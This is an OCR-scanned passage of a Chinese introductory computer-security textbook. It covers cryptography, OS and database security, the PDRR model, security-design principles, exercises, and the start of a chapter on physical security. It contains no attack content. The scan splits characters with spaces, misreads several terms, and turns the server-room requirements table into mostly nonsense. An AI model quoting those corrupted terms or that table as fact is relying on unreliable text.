密码 技术 (基础 安全 技术 ) 是 保障 信息 安全 的 核心 技术 。 密 码 技术 在 古代 就 已 经 得 到 应 
用 ,但 仅 限于 外 交 和 军事 等 重要 领域 。 随 着 现代 计算 机 技术 的 飞速 发 展 ,密码 技术 正在 不 断 
地 向 更 多 其 他 领域 渗透 。 它 是 结合 数学 .计算 机 科学 .电子 与 通信 等 诸多 学 科 于 一 身 的 交叉 
学 科 , 它 不 仅 具 有 保证 信息 机 密 性 的 信息 加 密 功 能 ,而 且 具 有 数字 签名 .身份 验证 、 秘 密 分 
存 、 系 统 安全 等 功能 。 所 以 ,使 用 密码 技术 不 仅 可 以 保证 信息 的 机 密 性 ,而 且 可 以 保证 信息 
的 完整 性 和 确定 性 ,防止 信息 被 算 改 ,伪造 和 假冒 。 

密码 学 包括 密码 编码 学 和 密码 分 析 学 ,密码 体制 的 设计 是 密码 编码 学 的 主要 内 容 ,密码 
体制 的 破译 是 密码 分 析 学 的 主要 内 容 。 密 码 编码 技术 和 密码 分 析 技 术 是 相互 依存 、 相 互 支 
持 、 密 不 可 分 的 两 个 方面 。 

从 密码 体制 方面 而 言 ,密码 体 制 有 对 称 密 钥 密 码 技术 和 非 对称 密 钥 密码 技术 。 对 称 密 
钥 密 码 技术 要 求 加 密 与 解密 双方 拥有 相同 的 密 钥 ; 非 对 称 密 钥 密码 技术 是 加 密 与 解密 双方 
拥有 不 相同 的 密 钥 。 

密码 学 不 仅 包含 编码 与 译 码 ,而 且 包 括 安全 管理 、 安 全 协议 设计 、 散 列 函 数 等 内 容 。 不 
仅 如 此 ,密码 学 的 进一步 发 展 ,涌现 了 大 量 的 新 技术 和 新 概念 ,如 零 知 识 证 明 技 术 、 盲 签名 、 
比特 承诺 、 遗 忘 传递 ,数字 化 现金 .量子 密码 技术 ,混沌 密码 等 。 

我 国明 确 规定 严格 禁止 直接 使 用 国外 的 密码 算法 和 安全 产品 ,这 主要 有 两 个 原因 : 一 
是 国外 禁止 出 口 密码 算法 和 产品 ,所谓 出 口 的 安全 密码 算法 国外 都 有 破译 手段 ;二 是 担心 国 
外 的 算法 和 产品 中 存在 “后 门 ”, 关 键 时 刻 危 害 我 国安 全 。 当 前 我 国 的 信息 安全 系统 由 国家 
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密码 管理 委员 会 统一 管理 。 
1.3.3 操作 系统 安全 技术 


随 着 社会 信息 化 的 发 展 , 计 算 机 安全 问题 日 益 严重 ,建立 安全 防范 体系 的 需求 越 来 越 强 
烈 。 操 作 系统 是 整个 计算 机 信息 系统 的 核心 ,操作 系统 安全 是 整个 安全 防范 体系 的 基础 , 同 
时 也 是 信息 安全 的 重要 内 容 。 

操作 系统 的 安全 功能 主要 包括 : 标识 与 鉴别 .自主 访问 控制 (DAC)、 强 制 访 问 控制 
(MAC) .安全 审计 、 客 体重 用 、 最 小 特权 管理 .可 信 路 径 、 隐 项 通道 分 析 . 加 密 卡 支持 等 。 

另外 , 随 着 计算 机 技术 的 飞速 发 展 , 数 据 库 的 应 用 十 分 广泛 ,深入 到 各 个 领域 ,但 随 之 而 
来 产生 了 数据 的 安全 问题 。 各 种 应 用 系统 的 数据 库 中 大 量 数据 的 安全 问题 .敏感 数据 的 防 
窃取 和 防 算 改 问题 , 越 来 越 引 起 人 们 的 高 度 重 视 。 数 据 库 系统 作为 信息 的 聚集 体 , 是 计算 机 
信息 系统 的 核心 部 件 ,其 安全 性 至 关 重 要 ,关系 到 企业 兴衰 成败。 因此, 如何 有 效 地 保证 数 
据 库 系 统 的 安全 ,实现 数据 的 保密 性 、 完 整 性 和 有 效 性 ,已 经 成 为 业界 人 士 探索 研究 的 重要 
课题 之 一 。 

数据 库 安 全 性 问题 一 直 是 数据 库 用 户 非常 关心 的 问题 。 数 据 库 往 往 保 存 着 生产 和 工作 
需要 的 重要 数据 和 资料 ,数据库 数 据 的 丢失 以 及 数据 库 被 非法 用 户 的 侵入 往往 会 造成 无 法 
估量 的 损失 ,因此 ,数据库 的 安全 保密 成 为 一 个 网 络 安全 防护 中 需要 非常 重视 的 环节 ,要 维 
护 数据 信息 的 完整 性 .保密 性 .可 用 性 。 

数据 库 系统 的 安全 除 依赖 自身 内 部 的 安全 机 制 外 ,还 与 外 部 网 络 环境 、 应 用 环境 、 从 业 
人 员 素 质 等 因素 有 关 , 因 此 ,从 广义 上 讲 , 数 据 库 系统 的 安全 框架 可 以 划分 为 以 下 3 个 层次 。 

(1) 网 络 系统 层次 。 

(2) 宿主 操作 系统 层次 。 

(3) 数据 库 管理 系统 层次 。 

这 3 个 层次 构筑 成 数据 库 系统 的 安全 体系 ,与 数据 安全 的 关系 是 逐步 紧密 的 ,防范 的 重 
要 性 也 逐 层 加 强 , 从 外 到 内 、 由 表 及 里 保证 数据 的 安全 。 


1.3.4 计算 机 网 络 安全 技术 


一 个 最 常见 的 网 络 安全 模型 是 PDRR 模型 。PDRR 是 指 Protection( 防 护 )、Detection 
(检测 )、Response( 响 应 )、Recovery( 恢 复 )。 这 
4 个 部 分 构成 了 一 个 动态 的 信息 安全 周期 , 如 
图 1-1 所 示 。 

安全 策略 的 每 一 部 分 包括 一 组 相应 的 安全 
措施 来 实施 一 定 的 安全 功能 。 安 全 策略 的 第 一 
部 分 是 防护 。 根 据 系 统 已 知 的 所 有 安全 问题 做 
出 防护 措施 ,比如 : 打 补 丁 、 访 问 控制 和 数据 加 
密 等 。 安 全 策略 的 第 二 部 分 是 检测 ,攻击 者 如 果 
穿 过 了 防护 系统 ,检测 系统 就 会 检测 出 人 侵 者 的 图 1-1 PDRR 网 络 安全 模型 
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相关 信息 ,一 旦 检测 出 入 侵 , 响 应 系统 开始 采取 相应 的 措施 。 安 全 策略 的 最 后 一 部 分 是 系统 
恢复 ,在 人 侵 事 件 发 生 后 ,把 系统 恢复 到 原来 的 状态 。 每 次 发 生 入 侵 事件 ,防护 系统 都 要 更 
新 ,保证 相同 类 型 的 入 侵 事 件 不 能 再 发 生 ,所 以 整个 安全 策略 包括 防护 .检测 .响应 和 恢复 ， 
这 4 个 方面 组 成 了 一 个 信息 安全 周期 。 


1. 防护 


网 络 安全 策略 PDRR 模型 最 重要 的 部 分 就 是 防护 (P) 。 防 护 是 预先 阻止 攻击 可 以 发 生 
条 件 的 产生 ,让 攻击 者 无 法 顺利 入 侵 ,防护 可 以 减少 大 多 数 的 入 侵 事 件 。 下 面 为 几 种 常用 的 
防护 措施 。 

(1) 缺陷 扫描 

安全 缺陷 分 为 两 种 : 允许 远程 攻击 的 缺陷 和 只 允许 本 地 攻击 的 缺陷 。 允 许 远程 攻击 的 
缺陷 是 指 攻击 者 可 以 利用 该 缺陷 ,通过 网 络 攻 击 系统 。 只 允许 本 地 攻击 的 缺陷 是 指 攻击 者 
不 能 通过 网 络 利 用 该 缺陷 攻击 系统 。 

对 于 允许 远程 攻击 的 安全 缺陷 ,可 以 用 网 络 缺陷 扫描 工具 去 发 现 。 网 络 缺 陷 扫 描 工 具 
一 般 从 系统 的 外 部 去 观察 。 另 外 , 它 扮演 一 个 黑客 的 角色 ,只 不 过 它 不 会 破坏 系统 。 缺 陷 扫 
描 工 具 首 先 扫描 系统 所 开放 的 网 络 服务 端口 。 然 后 通过 该 端口 进行 连接 ,试探 提供 服务 的 
软件 类 型 和 版 本 号 。 在 这 个 时 候 ,缺陷 扫描 工具 有 两 种 方法 去 判断 该 端口 是 否 有 缺陷 : 第 一 
种 方法 是 根据 版 本 号 ,在 缺陷 列表 中 查 出 是 否 存在 缺陷 ;第 二 种 方法 是 根据 已 知 的 缺陷 特征 ， 
模拟 一 次 攻击 ,如 果 攻 击 表示 可 能 会 成 功 就 停止 并 认为 是 缺陷 存在 (要 停止 模拟 攻击 以 避免 对 
系统 造成 损害 ) 。 显 然 第 二 种 方法 的 准确 性 比 第 一 种 要 好 ,但 是 它 扫描 的 速度 会 很 慢 。 

(2) 访问 控制 及 防火 墙 

访问 控制 限制 某 些 用 户 对 某 些 资源 的 操作 。 访 问 控制 通过 减少 用 户 对 资源 的 访问 ,从 
而 减少 资源 被 攻击 的 概率 ,达到 防护 系统 的 目的 。 例 如 只 让 可 信和 的 用 户 访问 资源 而 不 让 其 
他 用 户 访 问 资源 ,这 样 资源 受到 攻击 的 概率 几乎 很 小 。 防 火 墙 是 基于 网 络 的 访问 控制 技术 ， 
在 互联 网 中 已 经 有 着 广泛 的 应 用 。 防 火 墙 技术 可 以 工作 在 网 络 层 、 传 输 层 和 应 用 层 ,完成 不 
同 力度 的 访问 控制 。 防 火 墙 可 以 阻止 大 多 数 的 攻击 但 不 是 全 部 ,很 多 入 侵 事件 通过 防火 墙 
所 允许 的 端口 (例如 80 端口 ) 进 行 攻击 。 

(3) 防 病 毒 软件 与 个 人 防火 墙 

病毒 就 是 计算 机 的 一 段 可 执行 代码 。 一 旦 计算 机 被 感染 上 病毒 ,这 些 可 执行 代码 可 以 
自动 执行 ,破坏 计算 机 系统 。 安 装 并 经 常 更 新 防 病毒 软件 会 对 系统 安全 起 防护 作用 。 防 病 
毒 软件 根据 病毒 的 特征 ,检查 用 户 系 统 上 是 否 有 病毒 。 这 个 检查 过 程 可 以 是 定期 检查 ,也 可 
以 是 实时 检查 。 

个 人 防火 墙 是 防火 墙 和 防 病毒 的 结合 。 它 运行 在 用 户 的 系统 中 ,并 控制 其 他 机 器 对 这 
台 机 器 的 访问 。 个 人 防火 墙 除了 具有 访问 控制 功能 外 ,还 有 病毒 检测 ,甚至 有 入 侵 检测 的 功 
能 ,是 网 络 安全 防护 的 一 个 重要 发 展 方向 。 

(4) 数据 加 密 

加 密 技术 主要 是 保护 数据 在 存储 和 传输 中 的 保密 性 安全 。 

(5) 鉴别 技术 

鉴别 技术 和 数据 加 密 技术 有 很 紧密 的 关系 。 鉴 别 技 术 用 在 安全 通信 中 ,使 通信 双方 互 
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相 鉴 别 对 方 的 身份 以 及 传输 的 数据 。 鉴 别 技术 保护 数据 通信 的 两 个 方面 : 通信 双方 的 身份 
认证 和 传输 数据 的 完整 性 。 


2. 检测 


PDRR 模型 的 第 二 个 环节 就 是 检测 (D)。 防 护 系统 可 以 阻止 大 多 数 入侵 事 件 的 发 生 ， 
但 是 不 能 阻止 所 有 的 入 侵 。 特 别 是 那些 利用 新 的 系统 缺陷 、 新 的 攻击 手段 的 入 侵 。 因 此 安 
全 策略 的 第 二 个 安全 屏障 就 是 检测 ,如 果 入 侵 发 生 就 会 被 检测 出 来 ,这 个 工具 是 入 侵 检测 系 
统 (IDS,Intrusion Detection System) 。 

根据 检测 环境 不 同 ,IDS 可 以 分 为 两 种 : 基于 主机 的 IDSCHost-based) 和 基于 网 络 的 
IDSCNetwork-based) 。 基 于 主机 的 IDS 检测 基于 主机 上 的 系统 日 志 、 审 计数 据 等 信息 ; 基 
于 网 络 的 IDS 检测 则 一 般 侧重 于 网 络 流量 分 析 。 

根据 检测 所 使 用 方法 的 不 同 ,IDS 可 以 分 为 两 种 : 误 用 检测 (Misuse Detection) 和 异常 
检测 (Anomaly Detection) 。 误 用 检测 技术 需要 建立 一 个 人 侵 规 则 库 , 其 中 , 它 对 每 一 种 人 
侵 都 形成 一 个 规则 描述 ,只 要 发 生 的 事件 符合 某 个 规则 就 被 认为 是 入 侵 。 

入 侵 检测 系统 一 般 和 应 急 响应 及 系统 恢复 有 密切 关系 。 一 旦 入 侵 检 测 系 统 检 测 到 入 侵 
事件 , 它 就 会 将 入 侵 事件 的 信息 传 给 应 急 响应 系统 进行 处 理 。 


3. 响应 


PDRR 模型 中 的 第 三 个 环节 是 响应 (R)。 响 应 就 是 已 知 一 个 攻击 (入 侵 ) 事 件 发 生 之 
后 ,进行 相应 的 处 理 。 在 一 个 大 规模 的 网 络 中 ,响应 这 个 工作 都 由 一 个 特殊 部 门 负责 , 那 就 
是 计算 机 响应 小 组 。 世 界 上 第 一 个 计算 机 紧急 响应 小 组 (CERT, Computer. Emergency 
Response Team) F 1989 年 建立 ,位 于 美国 卡 内 基 梅 隆 (CMU) 大 学 的 软件 研究 所 (SEI)。 
从 CERT 建立 之 后 ,世界 各 国 以 及 各 机 构 也 纷纷 建立 自己 的 计算 机 响应 小 组 。 我 国 第 一 个 
计算 机 紧急 响应 小 组 (CCERT) 于 1999 年 建立 ,主要 服务 于 中 国教 育 和 科研 网 。 

入 侵 事 件 的 报警 可 以 是 入 侵 检 测 系统 的 报警 ,也 可 以 是 通过 其 他 方式 的 汇报 。 响 应 的 
主要 工作 也 可 以 分 为 两 种 : 一 种 是 紧急 响应 ; 另 一 种 是 其 他 事件 处 理 。 紧 急 响 应 就 是 当 安 
全 事件 发 生 时 采取 应 对 措施 ;其 他 事件 主要 包括 咨询 .培训 和 技术 支持 。 


4. 恢复 

恢复 是 PDRR 模型 中 的 最 后 一 个 环节 。 恢 复 是 事件 发 生 后 ,把 系统 恢复 到 原来 的 状 
态 , 或 者 比 原来 更 安全 的 状态 。 人 恢复 也 可 以 分 为 两 个 方面 : 系统 恢复 和 信息 恢复 。 

(1) 系统 恢复 

系统 恢复 是 指 修补 该 事件 所 利用 的 系统 缺陷 ,不 让 黑客 再 次 利用 这 样 的 缺陷 人 侵 。 一 
般 系 统 恢复 包括 系统 升级 .软件 升级 和 打 补 丁 等 。 系 统 恢复 的 另 一 个 重要 工作 是 除去 后 门 。 
一 般 来 说 ,黑客 在 第 一 次 人 侵 的 时 候 都 是 利用 系统 的 缺陷 。 在 第 一 次 人 侵 成 功 之 后 ,黑客 就 
在 系统 打开 一 些 后 门 ,如 安装 一 个 特洛伊 木马 。 所 以 ,尽管 系统 缺陷 已 经 打 补 丁 , 黑 客 下 一 
次 还 可 以 通过 后 门 进入 系统 。 


(2) 信息 恢复 


信息 恢复 是 指 恢复 丢失 的 数据 。 数 据 丢 失 的 原因 可 能 是 由 于 黑客 入 侵 造 成 的 ,也 可 能 
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是 由 于 系统 故障 、 自 然 灾害 等 原因 造成 的 。 信 息 恢复 就 是 从 备份 和 归档 的 数据 中 恢复 原来 
数据 。 信 息 恢复 过 程 与 数据 备份 过 程 有 很 大 的 关系 。 数 据 备份 做 得 是 否 充分 对 信息 恢复 有 
很 大 的 影响 。 信 息 恢复 过 程 的 一 个 特点 是 有 优先 级 别 。 直 接 影 响 日 常生 活 和 工作 的 信息 必 
须 先 恢复 ,这样 可 以 提高 信息 恢复 的 效率 。 


1.3.5 应 用 安全 技术 


目前 ,全 球 互 联网 用 户 已 达 15 亿 , 大 部 分 用 户 也 都 会 利用 网 络 进行 购物 .银行 转账 支 
付 、 网 络 聊天 和 各 种 软件 下 载 等 。 人 们 在 享受 便捷 网 络 的 同时 ,网 络 环境 也 变 得 越 来 越 危 
险 ,比如 网 络 钓鱼 .垃圾 邮件 、 网 站 被 黑 . 企 业 上 网 账户 密码 被 窃取 `.QQ 号 码 被 盗 .个 人 隐私 
数据 被 窃取 等 。 因 此 ,对 于 每 一 个 使 用 网 络 的 人 来 说 ,掌握 一 些 应 用 安全 技术 是 很 有 必 
要 的 。 


1.4 计算 机 安全 发 展 趋势 


随 着 计算 机 技术 的 快速 发 展 与 应 用 ,计算 机 安全 的 内 涵 在 不 断 地 延伸 ,从 最 初 的 信息 保 
密 性 发 展 到 信息 的 完整 性 、 可 用 性 、 可 控 性 和 不 可 否认 性 ,进而 又 发 展 为 * 攻 (攻击 )、 防 ( 防 
范 ) , 测 ( 检 测 ) , 控 (控制 ) , 管 (管理 )、 评 (评估 )” 等 多 方面 的 基础 理论 和 实施 技术 。 信 息 安全 
的 核心 问题 是 密码 理论 及 其 应 用 。 目 前 ,在 计算 机 安全 领域 人 们 关注 的 焦点 主要 有 以 下 几 
方面 : 

COD 密码 理论 与 技术 。 

(2) 安全 协议 理论 与 技术 。 

(3) 安全 体系 结构 理论 与 技术 。 

(4) 信息 对 抗 理论 与 技术 。 

(5) 网 络 安全 与 安全 产品 。 


1.5 安全 系统 设计 原则 


安全 防范 体系 在 整体 设计 过 程 中 应 遵循 以 下 12 项 原则 。 

1. 木 桶 原则 

木 桶 原则 是 指 对 信息 进行 均衡 ,全 面 的 保护 。 木 桶 的 最 大 容积 取决 于 最 短 的 一 块 木板 。 
2. 整体 性 原则 


要 求 在 网 络 发 生 被 攻击 \ 破 坏事 件 的 情况 下 ,必须 尽 可 能 地 快速 恢复 网 络 信 息 中 心 的 服 
务 ,减少 损失 。 因 此 ,信息 安全 系统 应 该 包括 安全 防护 机 制 .安全 检测 机 制 和 安全 恢复 机 制 。 


3. 有 效 性 与 实用 性 原则 
不 能 影响 系统 的 正常 运行 和 合法 用 户 的 操作 活动 。 网 络 中 的 信息 安全 和 信息 共享 存在 
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一 个 矛盾 : 一 方面 ,为 健全 和 弥补 系统 缺陷 或 漏洞 .会 采取 多 种 技术 手段 和 管理 措施 ; 另 一 
方面 ,势必 给 系统 的 运行 和 用 户 的 使 用 造成 负担 和 麻烦 ,尤其 在 网 络 环境 下 ,实时 性 要 求 很 
高 的 业务 不 能 容忍 安全 连接 和 安全 处 理 造成 的 时 延 和 数据 扩张 。 如 何在 确保 安全 性 的 基础 
上 ,把 安全 处 理 的 运算 量 减 小 或 分 挫 , 减 少 用 户 记忆 存储 工 作 和 安全 服务 器 的 存储 量 、 计 算 
量 , 应 该 是 一 个 信息 安全 设计 者 主要 解决 的 问题 。 


4. 安全 性 评价 与 平衡 原则 


对 任何 网 络 , 绝 对 安全 难以 达到 ,也 不 一 定 是 必要 的 ,所 以 需要 建立 合理 的 实用 安全 性 
与 用 户 需 求 评价 的 平衡 体系 。 安 全 体系 设计 要 正确 处 理 需 求 、 风 险 与 代价 的 关系 ,做 到 安全 
性 与 可 用 性 相 容 ,做 到 组 织 上 可 执行 。 评 价 信 息 是 否 安全 ,没有 绝对 的 评判 标准 和 衡量 指 
标 , 只 能 取决 于 系统 的 用 户 需 求 和 具体 的 应 用 环境 ,具体 取决 于 系统 的 规模 和 范围 .系统 的 
性 质 和 信息 的 重要 程度 。 


5. 标准 化 与 一 致 性 原则 


系统 是 一 个 庞大 的 系统 工程 ,其 安全 体系 的 设计 必须 遵循 一 系列 的 标准 ,这 样 才能 确保 
各 个 分 系统 的 一 致 性 ,使 整个 系统 安全 地 互联 互通 .信息 共享 。 


6. 技术 与 管理 相 结合 原则 


安全 体系 是 一 个 复杂 的 系统 工程 ,涉及 人 、 技 术 .操作 等 要 素 , 单 靠 技术 或 单 靠 管理 都 不 
可 能 实现 。 因 此 ,必须 将 各 种 安全 技术 与 运行 管理 机 制 . 人 员 思 想 教育 与 技术 培训 、 安 全 规 
章 制 度 建设 相 结合 。 


7. 统筹 规划 、 分 步 实 施 原则 


由 于 政策 规定 ,服务 需求 的 不 明朗 ,环境 、 条 件 、 时 间 的 变化 ,攻击 手段 的 进步 等 原因 , 安 
全 防护 不 可 能 一 步 到 位 ,可 在 一 个 比较 全 面 的 安全 规划 下 ,根据 网 络 的 实际 需要 , 先 建 立 基 
本 的 安全 体系 ,保证 基本 的 、 必 需 的 安全 性 。 随 着 今后 网 络 规模 的 扩大 及 应 用 的 增加 ,网 络 
应 用 和 复杂 程度 的 变化 ,网 络 脆弱 性 也 会 不 断 增 加 ,因此 需要 调整 或 增强 安全 防护 力度 , 保 
证 整个 网 络 最 根本 的 安全 需求 。 


8. 等 级 性 原则 


等 级 性 原则 是 指 安全 层次 和 安全 级 别 。 良 好 的 信息 安全 系统 必然 是 分 为 不 同等 级 的 ， 
包括 对 信息 保密 程度 分 级 ,对 用 户 操作 权限 分 级 ,对 网 络 安全 程度 分 级 (安全 子 网 和 安全 区 
域 ), 对 系统 实现 结构 的 分 级 (应 用 层 、 网 络 层 .数据 链 路 层 等 ), 从 而 针对 不 同 级 别 的 安全 对 
象 ,提供 全 面 .可 选 的 安全 算法 和 安全 体制 ,以 满足 网 络 中 不 同 层次 的 各 种 实际 需求 。 


9. 动态 发 展 原 则 


要 根据 网 络 安全 的 变化 不 断 调整 安全 措施 ,适应 新 的 网 络 环境 ,满足 新 的 网 络 安全 
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10. 易 操 作 性 原则 


首先 ,安全 措施 需要 人 为 去 完成 ,如 果 措 施 过 于 复杂 ,对 人 的 要 求 过 高 ,本身 就 降低 了 安 
全 性 。 其 次 ,措施 的 采用 不 能 影响 系统 的 正常 运行 。 


11. 自主 和 可 控 性 原则 


网 络 安全 与 保密 问题 关系 着 一 个 国家 的 主权 和 安全 ,所 以 网 络 安全 产品 不 可 能 依赖 于 
从 国外 进口 ,必须 解决 网 络 安全 产品 的 自主 权 和 自控 权 问题 ,建立 自主 的 网 络 安全 产品 和 产 
业 。 同 时 为 了 防止 安全 技术 被 不 正当 的 用 户 使 用 ,必须 采取 相应 的 措施 对 其 进行 控制 ,比如 
密 钥 托管 技术 等 。 


12. 权限 分 割 .互相 制约 .最 小 化 原则 


在 很 多 系统 中 都 有 一 个 系统 超级 用 户 或 系统 管理 员 ,拥有 对 系统 全 部 资源 的 存 取 和 分 
配 权 ,所 以 它 的 安全 至 关 重 要 ,如 果 不 加 以 限制 ,有 可 能 由 于 超级 用 户 的 恶意 行为 .口令 泄 
密 、 偶 然 破坏 等 对 系统 造成 不 可 估量 的 损失 和 破坏 。 因 此 有 必要 对 系统 超级 用 户 的 权限 加 
以 限制 ,实现 权限 最 小 化 原则 。 管 理 权限 交叉 ,由 几 个 管理 用 户 来 动态 地 控制 系统 的 管理 ， 
实现 互相 制约 。 对 于 普通 用 户 , 则 实现 权限 最 小 原则 ,不 允许 其 进行 非 授权 以 外 的 操作 。 


1.6 人 ,制度 和 技术 之 间 的 关系 


计算 机 网 络 系统 安全 管理 包括 安全 技术 和 设备 的 管理 .安全 管理 制度 .部 门 与 人 员 的 组 
织 规则 等 。 管 理 的 制度 化 极 大 程度 地 影响 着 整个 计算 机 网 络 系统 的 安全 ,严格 的 安全 管理 
制度 .明确 的 部 门 安全 职责 划分 、 合 理 的 人 员 和 角色 配置 都 可 以 在 很 大 程度 上 降低 其 他 层次 的 
安全 漏洞 。 


小 结 


本 章 介绍 了 计算 机 安全 的 基本 概念 `. 计 算 机 系统 面临 的 威胁 .计算 机 安全 研究 的 重要 
性 ,计算 机 安全 技术 体系 结构 、 安 全 系统 设计 原则 以 及 人 、 制 度 和 技术 之 间 的 关系 。 通 过 本 
章 的 学 习 , 使 读者 对 计算 机 安全 有 一 个 整体 的 认识 ,要 认识 到 计算 机 安全 对 于 国家 、 单 位 和 
个 人 都 是 至 关 重 要 的 。 


习 题 
1. 填空 题 
ei 是 指 秘密 信息 在 产生 、 传 输 、 使 用 和 存储 的 过 程 中 不 被 泄露 或 破坏 。 
(2) 计算 机 安全 的 4 个 方面 包括 : 和 不 可 否认 性 。 
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(3) 计算 机 安全 主要 包括 系统 安全 和 两 个 方面 。 
(4) 是 指 系统 在 规定 条 件 下 ,完成 规定 功能 的 能 力 。 
(5) 一 个 完整 的 计算 机 安全 技术 体系 结构 由 \ 系 统 安 全 技术 、 网 络 


安全 技术 以 及 组 成 。 


(6) 一 个 最 常见 的 网 络 安全 模型 是 
2. 思考 与 简 答题 


CD 简 述 计算 机 系统 的 脆弱 性 。 

(2) 简 述 计算 机 系统 面临 的 威胁 。 

(3) 简 述 PDRR 网 络 安全 模型 的 工作 过 程 。 
(4) 简 述 计算 机 安全 发 展 趋势 。 

(5) 简 述 安全 系统 设计 原则 。 

(6) 简 述 人 、 制 度 和 技术 之 间 的 关系 。 

(7) 谈 谈 你 自己 对 计算 机 安全 的 认识 。 
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本 章 学 习 目 标 : 

。 了解 物理 安全 的 定义 、 目 的 和 内 容 

。 了解 环境 安全 的 相关 措施 

。 了 解 设备 安全 的 相关 措施 

。 了 解 供电 系统 安全 的 相关 措施 

。 了 解 通信 线路 安全 与 电磁 防护 的 相关 措施 


2001 年 2 月 9 日 上 午 8 时 左右 ,中 美 之 间 的 一 条 海底 光缆 在 日 本 横滨 维护 区 (位 于 我 
国 上 海 崇 明海 缆 站 以 东 375km 的 公海 中 ) 发 生 阻 断 , 造 成 中 国电 信 及 其 他 电信 运营 商 北美 
方向 部 分 线路 中 断 。 中 美 海 绕 是 承担 中 美 间 Internet 数据 交换 的 重要 载体 ,在 海 缆 发 生 阻 
断后 ,访问 北美 地 区 的 网 站 也 就 受到 影响 。 这 是 计算 机 系统 物理 安全 遭 到 破坏 的 一 个 典型 
例子 。 

物理 安全 主要 包括 环境 安全 .设备 安全 ,电源 系统 安全 以 及 通信 线路 安全 等 ,本 章 将 对 
这 几 部 分 进行 详细 介绍 。 


2.1 物理 安全 的 重要 性 


1. 物理 安全 定义 


物理 安全 ( 即 实体 和 基础 设施 安全 ) 是 保护 计算 机 设备 、 设 施 ( 网 络 及 通信 线路 ) 免 遭 地 
震 , 水 灾 、 火 灾 、 有 害 气体 和 其 他 环境 事故 (如 电磁 污染 等 ) 破 坏 的 措施 和 过 程 。 物 理 安全 在 
物理 介质 层次 上 对 存储 和 传输 的 网 络 信息 进行 安全 保护 ,是 网 络 信息 安全 的 基本 保障 。 物 
理 安全 是 整个 计算 机 信息 系统 安全 的 前 提 。 由 于 物理 安全 的 代价 高 ,所 以 经 常 力求 通过 使 
用 别 的 更 廉价 的 技术 把 对 它 的 需要 降 到 最 低 限 度 。 

物理 安全 主要 考虑 的 问题 是 环境 ,场地 和 设备 的 安全 及 实体 访问 控制 和 应 急 处 理 计划 
等 。 保 证 计算 机 及 网 络 系统 机 房 的 安全 ,以 及 保证 所 有 组 成 信息 系统 设备 、 场 地、 环境 及 通 
信 线 路 的 物理 安全 ,是 整个 计算 机 信息 系统 安全 的 前 提 。 如 果 物 理 安全 得 不 到 保证 ,整个 计 
算 机 信息 系统 的 安全 也 就 不 可 能 实现 。 
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物理 安全 是 保护 一 些 比 较 重要 的 设备 不 被 接触 。 物 理 安全 比较 难 防 ,因为 攻击 者 往往 
是 来 自 能 够 接触 到 物理 设备 的 用 户 。 


2. 物理 安全 技术 定义 


物理 安全 技术 主要 是 指 对 计算 机 及 网 络 系统 的 环境 、 场 地 ,设备 和 通信 线路 等 采取 的 安 
全 技术 措施 。 物 理 安全 技术 实施 的 目的 是 保护 计算 机 、 网 络 服务 器 、 打 印 机 等 硬件 实体 和 通 
信 设 施 免 受 自然 灾害 、 人 为 失误 、 犯 罪行 为 的 破坏 ,确保 系统 有 一 个 良好 的 电磁 兼容 工作 环 
境 , 建 立 完 备 的 安全 管理 制度 ,防止 非法 进入 计算 机 工作 环境 和 各 种 偷窃 .破坏 活动 的 发 生 。 


3. 影响 物理 安全 的 主要 因素 


(1) 计算 机 及 其 网 络 系统 自身 存在 的 脆弱 性 因素 。 
(2) 各 种 自然 灾害 导致 的 安全 问题 。 
(3) 由 于 人 为 的 错误 操作 及 各 种 计算 机 犯罪 导致 的 安全 问题 。 


2.2 计算 机 机 房 及 环境 安全 


计算 机 系统 是 由 大 量 电 子 设备 和 机 械 设备 组 成 的 ,计算 机 的 运行 环境 对 计算 机 的 影响 
非常 大 ,环境 影响 因素 主要 有 温度 ,湿度 .灰尘 .腐蚀 .电气 与 电磁 干扰 等 。 这 些 因素 从 不 同 
方面 影响 计算 机 的 可 靠 工 作 。 因 此 ,计算 机 机 房 的 环境 条 件 是 计算 机 可 靠 安全 运行 的 重要 
因素 之 一 。 


1. 环境 安全 的 目的 


为 计算 机 系统 提供 合适 的 安全 环境 有 如 下 3 个 目的 。 

CD 充分 发 挥 计 算 机 系统 的 性 能 ,确保 其 可 靠 安 全 地 运行 。 

(2) 延长 计算 机 系统 的 使 用 寿命 。 

(3) 确保 工作 人 员 的 身心 健康 ,提高 工作 效率 。 

实践 表明 ,有 些 计 算 机 系统 运行 不 稳定 或 者 经 常 出 错 , 除 了 机 器 本 身 的 原因 之 外 ,计算 
机 机 房 环境 条 件 也 是 一 个 重要 因素 。 因 此 .要 充分 认识 机 房 环境 条 件 的 作用 和 影响 ,确保 计 
算 机 机 房 的 环境 安全 。 


2. 计算 机 机 房 安全 要 求 


计算 机 系统 中 的 各 种 数据 依据 其 重要 性 和 保密 性 ,可 以 划分 为 以 下 3 个 不 同 的 等 级 。 

CD A 级: 对 计算 机 机 房 的 安全 有 严格 的 要 求 , 有 完善 的 计算 机 机 房 安 全 措施 。 

(2) B 级 : 对 计算 机 机 房 的 安全 有 较 严 格 的 要 求 , 有 较 完善 的 计算 机 机 房 安 全 措施 。 

(3) C 级 : 对 计算 机 机 房 的 安全 有 基本 的 要 求 ,有 基本 的 计算 机 机 房 安 全 措施 。 

建设 机 房 时 ,应 该 根据 所 处 理 的 信息 以 及 运用 场合 的 重要 程度 ,来 选择 适合 本 系统 特点 
的 安全 等 级 ,而 不 应 该 要 求 机 房 都 达到 某 一 安全 级 别 的 所 有 要 求 。 


计算 机 机 房 安全 要 求 的 详细 情况 见 表 2-1。 
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R21 计算 机 机 房 安 全 要 求 


St 入 类 机 房 | B 类 机 房 | C 类 机 房 Ne du 入 关机 房 | BÆI | C 类 机 房 
场地 选择 = 供 配 电 系统 $ - 
内 部 装修 + z prit 十 

防水 + z 防备 击 十 

防火 一 一 | 防 鼠 害 + 

空调 系统 + a — peen z 

火灾 报警 和 消 | . E 

防 设施 


注 ;“ 十 "表示 有 要 求 ;* 一 "表示 增加 要 求 ; 空 栏 表示 无 要 求 。 


3. 计算 机 机 房 的 外 部 环境 要 求 


计算 机 机 房 场地 的 选择 应 以 能 保证 计算 机 长 期 稳定 、 可 靠 、 安 全 地 工作 为 主要 目标 ,所 
以 对 计算 机 机 房 的 外 部 环境 有 如 下 要 求 。 

CD. 应 该 考虑 环境 安全 性 ,地质 可 靠 性 ,场地 抗 电磁 干扰 性 。 

(2) 应 该 避 开 强 振动 源 和 强 噪声 源 。 

(3) 应 避免 设 在 建筑 物 的 高 层 以 及 用 水 设备 的 下 层 或 隔壁 ,这 是 因为 底层 一 般 较 潮湿 ， 
